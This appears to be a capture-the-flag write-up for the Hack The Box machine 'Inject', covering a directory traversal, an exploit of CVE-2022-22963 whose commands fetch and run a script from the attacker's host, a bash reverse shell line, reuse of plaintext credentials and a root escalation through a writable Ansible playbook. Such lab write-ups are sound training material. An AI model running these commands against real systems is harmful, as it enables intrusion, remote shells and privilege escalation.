Inject Writeup
09 July 2023 #CTF #HTB #box #easy #linux(Yes I still can't crop properly)
Enumeration
You guessed it: nmap
time:
$ sudo nmap -sCV -oN enum/initial.nmap 10.10.11.204
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
Going to the website, we get a standard page:
There's a 'Sign Up' button but it's not ready yet:
There's also an upload page but it only accepts images:
We could spend a lot of time here and try a bunch of stuff (definitely not what I did), but let's just continue the enumeration.
Let's do some directory bruteforcing to discover more pages:
$ feroxbuster -u http://10.10.11.204:8080/
[...]
200 GET 166l 487w 0c http://10.10.11.204:8080/
200 GET 104l 194w 0c http://10.10.11.204:8080/register
500 GET 1l 3w 0c http://10.10.11.204:8080/error
200 GET 54l 107w 0c http://10.10.11.204:8080/upload
200 GET 112l 326w 0c http://10.10.11.204:8080/blogs
500 GET 1l 27w 0c http://10.10.11.204:8080/environment
400 GET 1l 13w 0c http://10.10.11.204:8080/show_image
200 GET 34l 77w 0c http://10.10.11.204:8080/release_notes
/environment
reveals that the web app is built with the Java Spring Boot framework:
$ curl http://10.10.11.204:8080/environment -s | jq .
{
"timestamp": "2023-03-13T12:08:39.523+00:00",
"status": 500,
"error": "Internal Server Error",
"message": "Discovered 3 methods that would qualify as 'functional' - [protected java.lang.String org.springframework.boot.ApplicationServletEnvironment.doGetActiveProfilesProperty(), protected java.lang.String org.springframework.boot.ApplicationServletEnvironment.doGetDefaultProfilesProperty(), protected org.springframework.core.env.ConfigurablePropertyResolver org.springframework.boot.ApplicationServletEnvironment.createPropertyResolver(org.springframework.core.env.MutablePropertySources)].\n Class 'class org.springframework.boot.ApplicationServletEnvironment' is not a FunctionalInterface.",
"path": "/environment"
}
The /show_image
page gave us a 400 error. Let's take a look:
$ curl http://10.10.11.204:8080/show_image -s | jq .
{
"timestamp": "2023-03-13T12:10:22.026+00:00",
"status": 400,
"error": "Bad Request",
"message": "Required request parameter 'img' for method parameter type String is not present",
"path": "/show_image"
}
Note that we don't see this error message in the browser because it sends an Accept: text/html
header, and the HTML version is just a blank page. curl
, on the other hand, sends an Accept: */*
which accepts everything so we get JSON output (same for /environment
).
It wants an img
parameter. Let's do it:
$ curl 'http://10.10.11.204:8080/show_image?img=test' -s | jq .
{
"timestamp": "2023-03-13T12:15:34.195+00:00",
"status": 500,
"error": "Internal Server Error",
"message": "URL [file:/var/www/WebApp/src/main/uploads/test] cannot be resolved in the file system for checking its content length",
"path": "/show_image"
}
It's trying to get an image called 'test' in the uploads
directory and failed. We can test if it's vulnerable to directory traversal:
$ curl --path-as-is 'http://10.10.11.204:8080/show_image?img=../../../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
[...]
Nice, it works. We need to use the --path-as-is
flag, otherwise curl
will normalize the path.
Foothold
After some time looking around the filesystem, we find /var/www/WebApp/pom.xml
which contains the versions of the dependencies of the web application:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
[...]
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-web</artifactId>
<version>3.2.2</version>
</dependency>
[...]
This specific version of springframework.cloud is vulnerable to CVE-2022-22963, an unauthenticated RCE. This repo has commands to exploit this vulnerability:
$ curl 'http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java. lang.Runtime).getRuntime().exec("curl -o /dev/shm/s 10.10.14.4/s")' -d 'data'
$ curl 'http://10.10.11.204:8080/functionRouter' -H 'spring.cloud.function.routing-expression:T(java. lang.Runtime).getRuntime().exec("bash /dev/shm/s")' -d 'data'
It seems we can't use stuff like pipes or redirections so we have to download the reverse shell script from our attack box and then execute it.
Our reverse shell script just contains bash -i >& /dev/tcp/10.10.14.4/443 0>&1
.
Privesc
Frank to Phil
We can find some creds for the Phil user in /home/frank/.m2/settings.xml
:
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
With these, we can su -l phil
to login (ssh is disabled for that user).
Phil to root
After uploading and running pspy
on the box, we see a cron job running as root:
[...]
2023/03/14 14:14:05 CMD: UID=0 PID=11536 | /usr/bin/python3 /usr/bin/ansible-playbook /opt/automation/tasks/playbook_1.yml
[...]
It is using ansible which an automation tool. Phil is a member of the 'staff' group which can write to the directory where the playbook is located:
phil@inject:~$ groups
phil staff
phil@inject:~$ find / -group staff -ls 2> /dev/null | grep -vE '/sys|/run|/proc'
183353 4 drwxrwxr-x 2 root staff 4096 Mar 14 14:06 /opt/automation/tasks
[...]
phil@inject:~$ ls -l /opt/automation/tasks
total 4
-rw-r--r-- 1 root root 150 Apr 9 15:16 playbook_1.yml
playbook_1.yml
is owned by root but we have write access to the directory so we can just overwrite it.
We'll create a new playbook that sets /bin/bash
as setuid (docs):
- hosts: localhost
tasks:
- name: gimmeroot shell plz
ansible.builtin.shell: chmod u+s /bin/bash
Move the playbook over /opt/automation/tasks/playbook_1.yml
:
phil@inject:~$ mv -f root.yml /opt/automation/tasks/playbook_1.yml
Then we wait 1 or 2 minutes and get the setuid bash:
phil@inject:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
phil@inject:~$ bash -p
bash-5.0# id
uid=1001(phil) gid=1001(phil) euid=0(root) groups=1001(phil),50(staff)
bash-5.0# chmod u-s /bin/bash
If you use this setuid bash technique, don't forget to unset it right after you get the root shell to not spoil the box for others (:
Key Takeaways
- Don't fall into rabbit holes (just don't)
- Always enumerate software stack + version
- If we have write access to a directory, we can overwrite any files without write permissions